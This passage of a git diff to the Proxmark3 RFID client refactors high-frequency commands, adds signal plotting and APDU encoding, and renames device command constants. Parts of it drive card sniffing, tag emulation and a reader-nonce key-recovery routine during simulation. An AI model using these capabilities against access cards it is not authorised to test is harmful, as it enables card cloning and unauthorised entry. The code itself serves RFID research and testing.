(!GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &response, 4000, true)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + for (size_t i = 0; i < FPGA_TRACE_SIZE; i++) { + GraphBuffer[i] = ((int)buf[i]) - 127; + } + + GraphTraceLen = FPGA_TRACE_SIZE; + + ShowGraphWindow(); + + // remove signal offset + CmdHpf(""); + + setClockGrid(0, 0); + DemodBufferLen = 0; + RepaintGraphWindow(); + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -154,17 +283,20 @@ static command_t CommandTable[] = { {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"}, - {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"}, + {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"lto", CmdHFLTO, AlwaysAvailable, "{ LTO Cartridge Memory RFIDs... }"}, {"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"}, {"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"}, {"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"}, {"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"}, + {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, - {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, + {"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, - {"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags [preliminary]"}, + {"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags"}, {"sniff", CmdHFSniff, IfPm3Hfsniff, " Generic HF Sniff"}, {NULL, NULL, NULL, NULL} }; @@ -177,5 +309,5 @@ int CmdHF(const char *Cmd) { int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } diff --git a/client/cmdhf.h b/client/cmdhf.h index 4540caf3d..09af16d5e 100644 --- a/client/cmdhf.h +++ b/client/cmdhf.h @@ -1,6 +1,6 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// +// Piwi, Feb 2019 // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -11,31 +11,12 @@ #ifndef CMDHF_H__ #define CMDHF_H__ -#include -#include -#include -#include "proxmark3.h" -#include "graph.h" -#include "ui.h" -#include "cmdparser.h" -#include "cmdhf14a.h" // ISO14443-A -#include "cmdhf14b.h" // ISO14443-B -#include "cmdhf15.h" // ISO15693 -#include "cmdhfepa.h" -#include "cmdhflegic.h" // LEGIC -#include "cmdhficlass.h" // ICLASS -#include "cmdhfmf.h" // CLASSIC -#include "cmdhfmfu.h" // ULTRALIGHT/NTAG etc -#include "cmdhfmfp.h" // Mifare Plus -#include "cmdhfmfdes.h" // DESFIRE -#include "cmdhftopaz.h" // TOPAZ -#include "cmdhffelica.h" // ISO18092 / FeliCa -#include "cmdhffido.h" // FIDO authenticators -#include "cmdtrace.h" // trace list +#include "common.h" int CmdHF(const char *Cmd); int CmdHFTune(const char *Cmd); int CmdHFSearch(const char *Cmd); int CmdHFSniff(const char *Cmd); +int CmdHFPlot(const char *Cmd); #endif diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 018431a28..a3ee49503 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -12,6 +12,22 @@ //----------------------------------------------------------------------------- #include "cmdhf14a.h" +#include +#include + +#include "cmdparser.h" // command_t +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // clearCommandBuffer +#include "cmdtrace.h" +#include "cliparser/cliparser.h" +#include "cmdhfmf.h" +#include "cmdhfmfu.h" +#include "emv/emvcore.h" +#include "ui.h" +#include "crc16.h" +#include "util_posix.h" // msclock +#include "aidsearch.h" + bool APDUInFramingEnable = true; static int CmdHelp(const char *Cmd); @@ -73,7 +89,7 @@ static const manufactureName manufactureMapping[] = { { 0x34, "Mikron JSC Russia" }, { 0x35, "Fraunhofer Institute for Photonic Microsystems Germany" }, { 0x36, "IDS Microchip AG Switzerland" }, - { 0x37, "Kovio USA" }, + { 0x37, "Thinfilm - Kovio USA" }, { 0x38, "HMT Microelectronic Ltd Switzerland" }, { 0x39, "Silicon Craft Technology Thailand" }, { 0x3A, "Advanced Film Device Inc. Japan" }, @@ -118,7 +134,7 @@ static const manufactureName manufactureMapping[] = { { 0x61, "Wearlinks Technology Inc. China" }, { 0x62, "Userstar Information Systems Co., Ltd Taiwan" }, { 0x63, "Pragmatic Printing Ltd. UK" }, - { 0x64, "Associacao do Laboratorio de Sistemas Integraveis Tecnologico – LSI-TEC Brazil" }, + { 0x64, "Associacao do Laboratorio de Sistemas Integraveis Tecnologico - LSI-TEC Brazil" }, { 0x65, "Tendyron Corporation China" }, { 0x66, "MUTO Smart Co., Ltd. Korea" }, { 0x67, "ON Semiconductor USA" }, @@ -139,14 +155,13 @@ static const manufactureName manufactureMapping[] = { const char *getTagInfo(uint8_t uid) { int i; - int len = sizeof(manufactureMapping) / sizeof(manufactureName); - for (i = 0; i < len; ++i) + for (i = 0; i < ARRAYLEN(manufactureMapping); ++i) if (uid == manufactureMapping[i].uid) return manufactureMapping[i].desc; //No match, return default - return manufactureMapping[len - 1].desc; + return manufactureMapping[ARRAYLEN(manufactureMapping) - 1].desc; } // iso14a apdu input frame length @@ -174,9 +189,9 @@ static int usage_hf_14a_sim(void) { PrintAndLogEx(NORMAL, " e : (Optional) Fill simulator keys from found keys"); PrintAndLogEx(NORMAL, " v : (Optional) Verbose"); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344 x"); - PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344"); - PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344556677"); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a sim t 1 u 11223344 x")); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a sim t 1 u 11223344")); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a sim t 1 u 11223344556677")); // PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223445566778899AA\n"); return 0; } @@ -187,7 +202,7 @@ static int usage_hf_14a_sniff(void) { PrintAndLogEx(NORMAL, "c - triggered by first data from card"); PrintAndLogEx(NORMAL, "r - triggered by first 7-bit request from reader (REQ,WUP,...)"); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf 14a sniff c r"); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a sniff c r")); return 0; } static int usage_hf_14a_raw(void) { @@ -212,23 +227,15 @@ static int usage_hf_14a_reader(void) { PrintAndLogEx(NORMAL, " 3 ISO14443-3 select only (skip RATS)"); return 0; } -static int usage_hf_14a_info(void) { - PrintAndLogEx(NORMAL, "This command makes more extensive tests against a ISO14443a tag in order to collect information"); - PrintAndLogEx(NORMAL, "Usage: hf 14a info [h|s]"); - PrintAndLogEx(NORMAL, " s silent (no messages)"); - PrintAndLogEx(NORMAL, " n test for nack bug"); - return 0; -} static int CmdHF14AList(const char *Cmd) { (void)Cmd; // Cmd is not used so far - //PrintAndLogEx(NORMAL, "Deprecated command, use 'hf list 14a' instead"); CmdTraceList("14a"); return 0; } int Hf14443_4aGetCardData(iso14a_card_select_t *card) { - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; WaitForResponse(CMD_ACK, &resp); @@ -248,20 +255,20 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "E->Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(INFO, "E->Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); return 1; } - PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(card->uid, card->uidlen)); - PrintAndLogEx(NORMAL, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); - PrintAndLogEx(NORMAL, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card->uid, card->uidlen)); + PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(SUCCESS, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); if (card->ats_len < 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(INFO, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); return 1; } - PrintAndLogEx(NORMAL, " ATS: %s", sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(SUCCESS, " ATS: %s", sprint_hex(card->ats, card->ats_len)); return 0; } @@ -298,7 +305,7 @@ static int CmdHF14AReader(const char *Cmd) { cm |= ISO14A_NO_DISCONNECT; clearCommandBuffer(); - SendCommandMIX(CMD_READER_ISO_14443a, cm, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, cm, 0, 0, NULL, 0); if (ISO14A_CONNECT & cm) { PacketResponseNG resp; @@ -326,18 +333,18 @@ static int CmdHF14AReader(const char *Cmd) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card.atqa[1], card.atqa[0]); DropField(); return 1; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA: " _GREEN_("%02x %02x"), card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02x [%" PRIu64 "]"), card.sak, resp.oldarg[0]); if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " ATS: " _GREEN_("%s"), sprint_hex(card.ats, card.ats_len)); } if (!disconnectAfter) { @@ -346,19 +353,37 @@ static int CmdHF14AReader(const char *Cmd) { } if (disconnectAfter) { - if (!silent) PrintAndLogEx(SUCCESS, "field dropped."); + if (!silent) PrintAndLogEx(INFO, "field dropped."); } return 0; } static int CmdHF14AInfo(const char *Cmd) { + bool verbose = true; + bool do_nack_test = false; + bool do_aid_search = false; - if (Cmd[0] == 'h' || Cmd[0] == 'H') return usage_hf_14a_info(); + CLIParserInit("hf 14a info", + "This command makes more extensive tests against a ISO14443a tag in order to collect information", + "Sample:\n\thf 14a info -nsv - shows full information about the card\n"); - bool verbose = !(Cmd[0] == 's' || Cmd[0] == 'S'); - bool do_nack_test = (Cmd[0] == 'n' || Cmd[0] == 'N'); - infoHF14A(verbose, do_nack_test); + void *argtable[] = { + arg_param_begin, + arg_lit0("vV", "verbose", "adds some information to results"), + arg_lit0("nN", "nacktest", "test for nack bug"), + arg_lit0("sS", "aidsearch", "checks if AIDs from aidlist.json is present on the card and prints information about found AIDs"), + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + verbose = arg_get_lit(1); + do_nack_test = arg_get_lit(2); + do_aid_search = arg_get_lit(3); + + CLIParserFree(); + + infoHF14A(verbose, do_nack_test, do_aid_search); return 0; } @@ -375,15 +400,13 @@ static int CmdHF14ACUIDs(const char *Cmd) { // repeat n times for (int i = 0; i < n; i++) { - if (ukbhit()) { - int gc = getchar(); - (void)gc; + if (kbd_enter_pressed()) { PrintAndLogEx(WARNING, "\n[!] aborted via keyboard!\n"); break; } // execute anticollision procedure - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); PacketResponseNG resp; WaitForResponse(CMD_ACK, &resp); @@ -398,7 +421,7 @@ static int CmdHF14ACUIDs(const char *Cmd) { for (uint16_t m = 0; m < card->uidlen; m++) { sprintf(&uid_string[2 * m], "%02X", card->uid[m]); } - PrintAndLogEx(NORMAL, "%s", uid_string); + PrintAndLogEx(SUCCESS, "%s", uid_string); } } PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000); @@ -443,7 +466,7 @@ int CmdHF14ASim(const char *Cmd) { break; } if (!errors) { - PrintAndLogEx(SUCCESS, "Emulating ISO/IEC 14443 type A tag with %d byte UID (%s)", uidlen, sprint_hex(uid, uidlen)); + PrintAndLogEx(SUCCESS, "Emulating " _YELLOW_("ISO/IEC 14443 type A tag")"with " _GREEN_("%d byte UID (%s)"), uidlen, sprint_hex(uid, uidlen)); useUIDfromEML = false; } cmdp += 2; @@ -461,7 +484,7 @@ int CmdHF14ASim(const char *Cmd) { cmdp++; break; default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + PrintAndLogEx(WARNING, "Unknown parameter " _RED_("'%c'"), param_getchar(Cmd, cmdp)); errors = true; break; } @@ -484,20 +507,29 @@ int CmdHF14ASim(const char *Cmd) { memcpy(payload.uid, uid, uidlen); clearCommandBuffer(); - SendCommandNG(CMD_SIMULATE_TAG_ISO_14443a, (uint8_t *)&payload, sizeof(payload)); + SendCommandNG(CMD_HF_ISO14443A_SIMULATE, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation"); + PrintAndLogEx(INFO, "Press pm3-button to abort simulation"); + bool keypress = kbd_enter_pressed(); + while (!keypress) { - while (!ukbhit()) { - if (WaitForResponseTimeout(CMD_SIMULATE_MIFARE_CARD, &resp, 1500) == 0) continue; + if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) continue; if (resp.status != PM3_SUCCESS) break; if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) break; nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(data[0], setEmulatorMem, verbose); + + keypress = kbd_enter_pressed(); } + + if (keypress && (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } + if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) showSectorTable(); @@ -514,48 +546,48 @@ int CmdHF14ASniff(const char *Cmd) { if (ctmp == 'r') param |= 0x02; } clearCommandBuffer(); - SendCommandNG(CMD_SNIFF_ISO_14443a, (uint8_t *)¶m, sizeof(uint8_t)); + SendCommandNG(CMD_HF_ISO14443A_SNIFF, (uint8_t *)¶m, sizeof(uint8_t)); return PM3_SUCCESS; } -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode) { static uint8_t responseNum = 0; uint16_t cmdc = 0; *dataoutlen = 0; if (activateField) { - responseNum = 1; PacketResponseNG resp; + responseNum = 0; // Anticollision + SELECT card - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } // check result if (resp.oldarg[0] == 0) { - PrintAndLogEx(ERR, "No card in field."); + if (!silentMode) PrintAndLogEx(ERR, "No card in field."); return 1; } if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) { - PrintAndLogEx(ERR, "Card not in iso14443-4. res=%d.", resp.oldarg[0]); + if (!silentMode) PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); return 1; } if (resp.oldarg[0] == 2) { // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision // get ATS uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 - SendCommandOLD(CMD_READER_ISO_14443a, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2); + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } if (resp.oldarg[0] == 0) { // ats_len - PrintAndLogEx(ERR, "Can't get ATS."); + if (!silentMode) PrintAndLogEx(ERR, "Can't get ATS."); return 1; } } @@ -567,7 +599,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav uint8_t data[PM3_CMD_DATA_SIZE] = { 0x0a | responseNum, 0x00}; responseNum ^= 1; memcpy(&data[2], datain, datainlen & 0xFFFF); - SendCommandOLD(CMD_READER_ISO_14443a, ISO14A_RAW | ISO14A_APPEND_CRC | cmdc, (datainlen & 0xFFFF) + 2, 0, data, (datainlen & 0xFFFF) + 2); + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | cmdc, (datainlen & 0xFFFF) + 2, 0, data, (datainlen & 0xFFFF) + 2); uint8_t *recv; PacketResponseNG resp; @@ -577,7 +609,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav int iLen = resp.oldarg[0]; if (!iLen) { - PrintAndLogEx(ERR, "No card response."); + if (!silentMode) PrintAndLogEx(ERR, "No card response."); return 1; } @@ -586,12 +618,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav *dataoutlen = 0; if (maxdataoutlen && *dataoutlen > maxdataoutlen) { - PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); + if (!silentMode) PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); return 2; } if (recv[0] != data[0]) { - PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); + if (!silentMode) PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); return 2; } @@ -599,12 +631,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav // CRC Check if (iLen == -1) { - PrintAndLogEx(ERR, "ISO 14443A CRC error."); + if (!silentMode) PrintAndLogEx(ERR, "ISO 14443A CRC error."); return 3; } } else { - PrintAndLogEx(ERR, "Reply timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Reply timeout."); return 4; } @@ -622,7 +654,7 @@ static int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) { DropField(); // Anticollision + SELECT card - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; @@ -635,14 +667,14 @@ static int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) { } if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) { - PrintAndLogEx(ERR, "Card not in iso14443-4. res=%d.", resp.oldarg[0]); + PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); return 1; } if (resp.oldarg[0] == 2) { // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision // get ATS uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 - SendCommandOLD(CMD_READER_ISO_14443a, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, sizeof(rats), 0, rats, sizeof(rats)); + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, sizeof(rats), 0, rats, sizeof(rats)); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; @@ -697,9 +729,9 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool // here length PM3_CMD_DATA_SIZE=512 // timeout must be authomatically set by "get ATS" if (datain) - SendCommandOLD(CMD_READER_ISO_14443a, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, (datainlen & 0xFFFF), 0, datain, datainlen & 0xFFFF); + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, (datainlen & 0xFFFF), 0, datain, datainlen & 0xFFFF); else - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, 0, 0, NULL, 0); PacketResponseNG resp; @@ -800,7 +832,7 @@ int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool lea vActivateField = false; if (*dataoutlen) { if (clen != datainlen) - PrintAndLogEx(WARNING, "APDU: I-block/R-block sequence error. Data len=%d, Sent=%d, Last packet len=%d", datainlen, clen, *dataoutlen); + PrintAndLogEx(ERR, "APDU: I-block/R-block sequence error. Data len=%d, Sent=%d, Last packet len=%d", datainlen, clen, *dataoutlen); break; } } while (clen < datainlen); @@ -836,20 +868,33 @@ int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool lea static int CmdHF14AAPDU(const char *Cmd) { uint8_t data[PM3_CMD_DATA_SIZE]; int datalen = 0; + uint8_t header[PM3_CMD_DATA_SIZE]; + int headerlen = 0; bool activateField = false; bool leaveSignalON = false; bool decodeTLV = false; + bool decodeAPDU = false; + bool makeAPDU = false; + bool extendedAPDU = false; + int le = 0; CLIParserInit("hf 14a apdu", - "Sends an ISO 7816-4 APDU via ISO 14443-4 block transmission protocol (T=CL)", - "Sample:\n\thf 14a apdu -st 00A404000E325041592E5359532E444446303100\n"); + "Sends an ISO 7816-4 APDU via ISO 14443-4 block transmission protocol (T=CL). works with all apdu types from ISO 7816-4:2013", + "Sample:\n\thf 14a apdu -st 00A404000E325041592E5359532E444446303100\n" + "\thf 14a apdu -sd 00A404000E325041592E5359532E444446303100 - decode apdu\n" + "\thf 14a apdu -sm 00A40400 325041592E5359532E4444463031 -l 256 - encode standard apdu\n" + "\thf 14a apdu -sm 00A40400 325041592E5359532E4444463031 -el 65536 - encode extended apdu\n"); void *argtable[] = { arg_param_begin, - arg_lit0("sS", "select", "activate field and select card"), - arg_lit0("kK", "keep", "leave the signal field ON after receive response"), - arg_lit0("tT", "tlv", "executes TLV decoder if it possible"), - arg_strx1(NULL, NULL, "", NULL), + arg_lit0("sS", "select", "activate field and select card"), + arg_lit0("kK", "keep", "leave the signal field ON after receive response"), + arg_lit0("tT", "tlv", "executes TLV decoder if it possible"), + arg_lit0("dD", "decapdu", "decode apdu request if it possible"), + arg_str0("mM", "make", "", "make apdu with head from this field and data from data field. Must be 4 bytes length: "), + arg_lit0("eE", "extended", "make extended length apdu if `m` parameter included"), + arg_int0("lL", "le", "", "Le apdu parameter if `m` parameter included"), + arg_strx1(NULL, NULL, "", "data if `m` parameter included"), arg_param_end }; CLIExecWithReturn(Cmd, argtable, false); @@ -857,12 +902,66 @@ static int CmdHF14AAPDU(const char *Cmd) { activateField = arg_get_lit(1); leaveSignalON = arg_get_lit(2); decodeTLV = arg_get_lit(3); - // len = data + PCB(1b) + CRC(2b) - CLIGetHexBLessWithReturn(4, data, &datalen, 1 + 2); + decodeAPDU = arg_get_lit(4); + + CLIGetHexWithReturn(5, header, &headerlen); + makeAPDU = headerlen > 0; + if (makeAPDU && headerlen != 4) { + PrintAndLogEx(ERR, "header length must be 4 bytes instead of %d", headerlen); + return 1; + } + extendedAPDU = arg_get_lit(6); + le = arg_get_int_def(7, 0); + + if (makeAPDU) { + uint8_t apdudata[PM3_CMD_DATA_SIZE] = {0}; + int apdudatalen = 0; + + CLIGetHexBLessWithReturn(8, apdudata, &apdudatalen, 1 + 2); + + APDUStruct apdu; + apdu.cla = header[0]; + apdu.ins = header[1]; + apdu.p1 = header[2]; + apdu.p2 = header[3]; + + apdu.lc = apdudatalen; + apdu.data = apdudata; + + apdu.extended_apdu = extendedAPDU; + apdu.le = le; + + if (APDUEncode(&apdu, data, &datalen)) { + PrintAndLogEx(ERR, "can't make apdu with provided parameters."); + return 2; + } + + } else { + if (extendedAPDU) { + PrintAndLogEx(ERR, "make mode not set but here `e` option."); + return 3; + } + if (le > 0) { + PrintAndLogEx(ERR, "make mode not set but here `l` option."); + return 3; + } + + // len = data + PCB(1b) + CRC(2b) + CLIGetHexBLessWithReturn(8, data, &datalen, 1 + 2); + } CLIParserFree(); PrintAndLogEx(NORMAL, ">>>>[%s%s%s] %s", activateField ? "sel " : "", leaveSignalON ? "keep " : "", decodeTLV ? "TLV" : "", sprint_hex(data, datalen)); + if (decodeAPDU) { + APDUStruct apdu; + + if (APDUDecode(data, datalen, &apdu) == 0) + APDUPrint(apdu); + else + PrintAndLogEx(WARNING, "can't decode APDU."); + } + int res = ExchangeAPDU14a(data, datalen, activateField, leaveSignalON, data, PM3_CMD_DATA_SIZE, &datalen); if (res) @@ -1022,7 +1121,7 @@ static int CmdHF14ACmdRaw(const char *Cmd) { datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; clearCommandBuffer(); - SendCommandOLD(CMD_READER_ISO_14443a, flags, (datalen & 0xFFFF) | ((uint32_t)(numbits << 16)), argtimeout, data, datalen & 0xFFFF); + SendCommandOLD(CMD_HF_ISO14443A_READER, flags, (datalen & 0xFFFF) | ((uint32_t)(numbits << 16)), argtimeout, data, datalen & 0xFFFF); if (reply) { int res = 0; @@ -1085,7 +1184,7 @@ static int CmdHF14AAntiFuzz(const char *Cmd) { CLIParserFree(); clearCommandBuffer(); - SendCommandMIX(CMD_ANTIFUZZ_ISO_14443a, arg0, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_ANTIFUZZ, arg0, 0, 0, NULL, 0); return 0; } @@ -1146,9 +1245,9 @@ int CmdHF14A(const char *Cmd) { return CmdsParse(CommandTable, Cmd); } -int infoHF14A(bool verbose, bool do_nack_test) { +int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { clearCommandBuffer(); - SendCommandMIX(CMD_READER_ISO_14443a, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { if (verbose) PrintAndLogEx(WARNING, "iso14443a card select failed"); @@ -1173,18 +1272,28 @@ int infoHF14A(bool verbose, bool do_nack_test) { return select_status; } + PrintAndLogEx(NORMAL, ""); + if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card.atqa[1], card.atqa[0]); 